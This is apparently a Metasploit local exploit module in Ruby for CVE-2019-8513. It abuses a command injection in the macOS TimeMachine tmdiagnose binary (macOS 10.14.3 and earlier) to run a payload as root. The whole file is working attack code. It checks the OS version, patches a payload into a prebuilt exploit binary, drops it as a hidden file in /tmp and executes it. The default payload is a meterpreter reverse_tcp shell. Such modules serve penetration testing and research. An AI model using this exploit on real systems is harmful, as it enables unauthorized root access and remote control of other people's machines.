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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Local
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  Rank = ExcellentRanking
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  include Msf::Post::File
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  include Msf::Post::OSX::Priv
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  include Msf::Post::OSX::System
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  include Msf::Exploit::EXE
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  include Msf::Exploit::FileDropper
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Mac OS X TimeMachine (tmdiagnose) Command Injection Privilege Escalation',
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        'Description' => %q{
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          This module exploits a command injection in TimeMachine on macOS <= 10.14.3 in
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          order to run a payload as root. The tmdiagnose binary on OSX <= 10.14.3 suffers
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          from a command injection vulnerability that can be exploited by creating a
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          specially crafted disk label.
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          The tmdiagnose binary uses awk to list every mounted volume, and composes
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          shell commands based on the volume labels. By creating a volume label with the
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          backtick character, we can have our own binary executed with root priviledges.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'CodeColorist', # Discovery and exploit
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          'timwr', # Metasploit module
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        ],
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        'References' => [
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          ['CVE', '2019-8513'],
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          ['URL', 'http://web.archive.org/web/20201113192302/https://medium.com/0xcc/rootpipe-reborn-part-i-cve-2019-8513-timemachine-root-command-injection-47e056b3cb43'],
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          ['URL', 'https://support.apple.com/en-in/HT209600'],
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          ['URL', 'https://github.com/ChiChou/sploits'],
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        ],
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        'DefaultTarget' => 0,
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        'DefaultOptions' => { 'WfsDelay' => 300, 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp' },
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        'Targets' => [
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          [ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ],
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          [ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],
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          [ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],
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        ],
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        'DisclosureDate' => '2019-04-13',
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_advanced_options [
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      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
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    ]
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  end
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  def upload_executable_file(filepath, filedata)
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    print_status("Uploading file: '#{filepath}'")
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    write_file(filepath, filedata)
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    chmod(filepath)
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    register_file_for_cleanup(filepath)
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  end
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  def check
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    version = Rex::Version.new(get_system_version)
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    if version >= Rex::Version.new('10.14.4')
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      CheckCode::Safe
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    else
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      CheckCode::Appears
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    end
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  end
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  def exploit
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    if check != CheckCode::Appears
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      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
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    end
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    if is_root?
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      fail_with Failure::BadConfig, 'Session already has root privileges'
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    end
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    unless writable? datastore['WritableDir']
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      fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
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    end
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    exploit_data = File.binread(File.join(Msf::Config.data_directory, "exploits", "CVE-2019-8513", "exploit"))
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    if target['Arch'] == ARCH_X64
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      root_cmd = payload.encoded
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    else
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      root_cmd = payload.raw
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      if target['Arch'] == ARCH_PYTHON
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        root_cmd = "echo \"#{root_cmd}\" | python"
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      end
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      root_cmd = "CMD:#{root_cmd}"
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    end
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    if root_cmd.length > 1024
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      fail_with Failure::PayloadFailed, "Payload size (#{root_cmd.length}) exceeds space in payload placeholder"
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    end
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    placeholder_index = exploit_data.index('ROOT_PAYLOAD_PLACEHOLDER')
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    exploit_data[placeholder_index, root_cmd.length] = root_cmd
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    exploit_file = "#{datastore['WritableDir']}/.#{Rex::Text::rand_text_alpha_lower(6..12)}"
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    upload_executable_file(exploit_file, exploit_data)
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    print_status("Executing exploit '#{exploit_file}'")
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    result = cmd_exec(exploit_file)
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    print_status("Exploit result:\n#{result}")
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  end
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end
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